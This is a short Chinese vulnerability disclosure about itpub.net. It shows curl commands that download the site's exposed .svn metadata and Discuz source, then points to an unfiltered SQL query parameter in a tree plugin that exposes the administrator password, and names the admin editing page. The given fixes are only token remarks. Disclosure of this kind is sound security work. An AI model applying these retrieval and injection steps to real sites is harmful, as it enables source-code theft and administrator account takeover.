服务器设置不当,导致该网站源码可以被下载
详细说明:
网站使用svn管理版本,却未对.svn目录未加访问权限限制,
漏洞证明:
xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/entries
可以得到web根目录文件目录列表,根据那个列表,可以请求svn working copy的text-base
写一个简单的脚本就能遍历下载该站svn仓库中的全部源码。可以从源码进一步分析出更多安全漏洞
xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/text-base/member.php.svn-base
<?php
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: member.php 20112 2011-02-15 07:10:53Z monkey $
*/
define('APPTYPEID', 0);
define('CURSCRIPT', 'member');
require './source/class/class_core.php';
$discuz = & discuz_core::instance();
$modarray = array('activate', 'clearcookies', 'emailverify', 'getpasswd',
'groupexpiry', 'logging', 'lostpasswd',
'register', 'regverify', 'switchstatus', 'connect');
$mod = !in_array($discuz->var['mod'], $modarray) ? 'register' : $discuz->var['mod'];
define('CURMODULE', $mod); www.2cto.com
$discuz->init();
if($mod == 'register' && $discuz->var['mod'] != $_G['setting']['regname'] && !defined('IN_CONNECT')) {
showmessage('undefined_action');
}
require libfile('function/member');
require libfile('class/member');
runhooks();
require DISCUZ_ROOT.'./source/module/member/member_'.$mod.'.php';
?>
修复方案:
.svn目录加访问权限限制,你懂得。
通过之前下载的itpub源码,轻松找到tree应用的注入漏洞。
69 else{
70 $tmp1=$db->query_first("select * from pre_plugin_tree_node where level=1 and nodeid=".$_REQUEST['node']." order by ordernum desc");
71
发现node参数没被过滤,读出管理员密码
管理地址:
用发现的管理员密码可以登录http://www.itpub.net/tree/editlist.php 编辑节点内容
修复方案:
你懂得
作者 小雨